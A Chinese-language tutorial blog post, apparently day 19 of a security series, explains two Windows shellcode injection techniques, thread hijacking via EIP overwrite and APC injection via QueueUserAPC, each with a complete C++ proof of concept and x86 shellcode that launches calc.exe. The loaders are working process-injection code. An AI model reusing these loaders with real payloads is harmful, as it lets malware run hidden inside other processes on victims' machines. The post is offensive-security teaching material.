【Day 19】Shellcode 与他的快乐夥伴 (下) - Shellcode Loader

环境

  • Windows 10 21H1
  • Visual Studio 2019

前情提要

在上一篇【Day 18】Shellcode 与他的快乐夥伴 (上) - Shellcode Loader 我们认识 Shellcode Loader 的用途,也讲了几个载入型的 Shellcode Loader,最後也提到这一篇会介绍几个注入型的 Shellcode Loader。

载入与注入的差别在於载入型的 Shellcode Loader 是在当前 Process 载入并执行 Shellcode;而注入型的 Shellcode Loader 则是可以把要执行的 Shellcode 注入到其他 Process。

Thread Hijack

原理

Snapshot Object

Snapshot 可以用来取得目前所在的 Process、Thread、Module、Heap,就像是对目前系统做快照。使用 CreateToolhelp32Snapshot 可以建立 Snapshot,然後就可以根据自己想要的资讯去使用它,不过权限是 Read Only。

例如我想取得 Thread 的资讯,可以呼叫 Thread32First 取得 Snapshot 中第一个 Thread,然後用 Thread32Next 取得下一个 Thread 的资讯。

Context

每个 Thread 都有各自的 Context 结构,不同的 Processor 也会有不同的 Context 结构。Context 中放的是一些暂存器的资讯,CPU 在执行程序时会用到它们。在程序中可以透过 GetThreadContext 取得目标 Thread Context,还有用 SetThreadContext 设定目标 Thread Context。

Context 中包含 Instruction Pointer,在 32-bit 使用 EIP,在 64-bit 使用 RIP,代表目前正要执行的程序位址。在【Day 16】从一开始的 Anti-Debug 生活 - Anti-Debug 中我们也有用到 Context 结构做 Anti-Debug,不过那时候是看暂存器 DR0~DR3,检查有没有使用 Hardware Breakpoint。

利用

我们能使用 Snapshot 取得目标 Thread,又可以取得与设定 Thread Context,那就可以把目标 Thread 的 Instruction Pointer 改到我们的 Shellcode 执行。

注意在设定 Context 前,如果要让 Process 在 Shellcode 执行完後不坏掉的话,要先用 SuspendThread 让它变 Suspended Thread,在改完 Context 之後再用 ResumeThread 回复执行。因为我们的 Shellcode 最後是 ret,而我们是直接改 EIP,所以没有 SuspendThread 的话,再执行 ret 时会跳到不是原本的位址或是不能执行的位址。但是假如只是想要执行 Shellcode,不用这两行也可以。

另外执行 ResumeThread 後也不是马上就开始执行,只是 Thread 的 Suspend Count 会减少,当减少为零时才会开始执行,所以实际测试时要等一下。

实作步骤

  1. 取得目标 Process ID,因为是 x86 Shellcode,所以要找 32-bit Process。不能用 Current Process,不然後面 SuspendThread 会卡住自己
  2. 开启目标 Process,申请一块记忆体後把 Shellcode 写入目标 Process
  3. 建立 Snapshot,取得 Process 与 Thread 的资讯
  4. 回圈跑过所有的 Thread,并筛选出目标 Process 中的 Thread
  5. 开启目标 Thread,将状态改为 Suspended
  6. 修改 Context 中的 EIP,改成我们的 Shellcode 位址
  7. 让 Thread 回复执行

POC

程序专案可以参考我的 GitHub zeze-zeze/2021iThome

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

int main()
{
    char shellcode[] = "\x50\x53\x51\x52\x56\x57\x55\x89\xE5\x83\xEC\x18\x31\xF6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x89\x65\xFC\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x24\xEB\x3F\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x68\x6D\x33\x32\x5C\x68\x79\x73\x74\x65\x68\x77\x73\x5C\x53\x68\x69\x6E\x64\x6F\x68\x43\x3A\x5C\x57\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x44\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3";

    // 1. 取得目标 Process ID,因为是 x86 Shellcode,所以要找 32-bit Process
    // 不能用自己这个 Process,不然後面 SuspendThread 会卡住自己
    DWORD targetPID = 3776;
    HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

    // 2. 开启目标 Process,申请一块记忆体後把 Shellcode 写入目标 Process
    PVOID remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL);

    // 3. 建立 Snapshot,取得 Process 与 Thread 的资讯
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);

    // 4. 回圈跑过所有的 Thread,并筛选出目标 Process 中的 Thread
    THREADENTRY32 threadEntry;
    threadEntry.dwSize = sizeof(THREADENTRY32);
    Thread32First(snapshot, &threadEntry);
    while (Thread32Next(snapshot, &threadEntry))
    {
        if (threadEntry.th32OwnerProcessID == targetPID)
        {
            // 5. 开启目标 Thread,将状态改为 Suspended
            HANDLE threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
            SuspendThread(threadHijacked);

            // 6. 修改 Context 中的 EIP,改成我们的 Shellcode 位址
            CONTEXT context;
            context.ContextFlags = CONTEXT_FULL;
            GetThreadContext(threadHijacked, &context);
            context.Eip = (DWORD_PTR)remoteBuffer;
            SetThreadContext(threadHijacked, &context);

            // 7. 让 Thread 回复执行
            ResumeThread(threadHijacked);
        }
    }
}

APC Inject

原理

APC,全名 Asynchronous Procedure Call,是用来做非同步处理的。每个 Thread 都有一个 APC Queue,当目前这个 Thread 进入 Alertable 状态时,会呼叫 APC Queue 中的每个 APC Function。Thread 可以透过呼叫 SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx 之类的等待函数进入 Alertable 状态。

程序中可以透过 QueueUserAPC 把 APC 排进目标 Thread 的 APC Queue,其中第一个参数可以设定它的 APC Function,第二个参数可以设定目标 Thread。

利用

既然我们知道 Thread 进入 Alertable 状态时会执行 APC Function,那就可以在目标 Thread 排进一个 APC,设定它的 APC Function 为我们的 Shellcode。如此一来,当目标 Thread 进入 Alertable 状态时就会执行 Shellcode。

实作步骤

  1. 取得目标 Process ID,因为是 x86 Shellcode,所以要找 32-bit Process,这边用当前的 Process 代替
  2. 开启目标 Process,申请一块记忆体後把 Shellcode 写入目标 Process
  3. 建立 Process、Thread 快照,回圈跑过所有 Thread,列举所有在目标 Process 中的 Thread ID
  4. 回圈跑过所有目标 Process 中的 Thread,呼叫 QueueUserAPC 并把 APC Function 设为我们的 Shellcode
  5. 呼叫 Sleep 让当前的 Thread 进入 Alertable 状态

POC

程序专案可以参考我的 GitHub zeze-zeze/2021iThome

#include <windows.h>
#include <tlhelp32.h>
#include <vector>

int main()
{
    char shellcode[] = "\x50\x53\x51\x52\x56\x57\x55\x55\x89\xE5\x83\xEC\x18\x31\xF6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x89\x65\xFC\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x26\xEB\x3F\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x68\x6D\x33\x32\x5C\x68\x79\x73\x74\x65\x68\x77\x73\x5C\x53\x68\x69\x6E\x64\x6F\x68\x43\x3A\x5C\x57\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x46\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3";

    // 1. 取得目标 Process ID,因为是 x86 Shellcode,所以要找 32-bit Process,这边用当前的 Process 代替
    DWORD pid = GetCurrentProcessId();

    // 2. 开启目标 Process,申请一块记忆体後把 Shellcode 写入目标 Process
    HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(victimProcess, shellAddress, shellcode, sizeof(shellcode), NULL);

    // 3. 建立 Process、Thread 快照,回圈跑过所有 Thread,列举所有在目标 Process 中的 Thread ID
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (Thread32First(snapshot, &threadEntry))
    {
        do {
            if (threadEntry.th32OwnerProcessID == pid)
            {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    // 4. 回圈跑过所有目标 Process 中的 Thread,呼叫 QueueUserAPC 并把 APC Function 设为我们的 Shellcode
    for (DWORD threadId : threadIds)
    {
        HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)shellAddress, threadHandle, NULL);
    }

    // 5. 呼叫 Sleep 让当前的 Thread 进入 Alertable 状态
    Sleep(1000);
    return 0;
}

其他

还有其他的注入型 Shellcode Loader 可以点选参考资料玩玩看。

参考资料


<<:  30天学习笔记 -day 19-viewpager动画(PageTransformer )

>>:  [Day 19] 还是学不会,再缩小一点 ~ (学习率衰减)

[Day 26] - 『转职工作的Lessons learned』 - Cube.js(II)

今天讲一下Cube.js在後端是如何设定与资料库连线,以及如何在後端启动Cube.js Server...

Day 26 : Linux - 档案or目录的权限该怎麽看?又该如何做更改?

如标题,今天想和大家聊聊权限这东西 权限在Linux是个非常非常重要的东西,如果你一直被termin...

Day-03 说明在 Ruby 里常数 (constant) 跟变数 (variable) 的差别是什麽?

其实在 Ruby 的世界里常数(constant)和变数(variable)两者的差别并不大! 他...

DAY 23:Facade Pattern,由统一的入口介面来做事

什麽是 Facade Pattern? 实作不依赖多个类别,而是依赖介面,并把这些类别实作在此介面 ...

[Day 04] 用 Exposed 和资料库进行串接

安装 Exposed 框架完成之後,再来我们要和资料库进行串接。 首先我们将原本的 main(){}...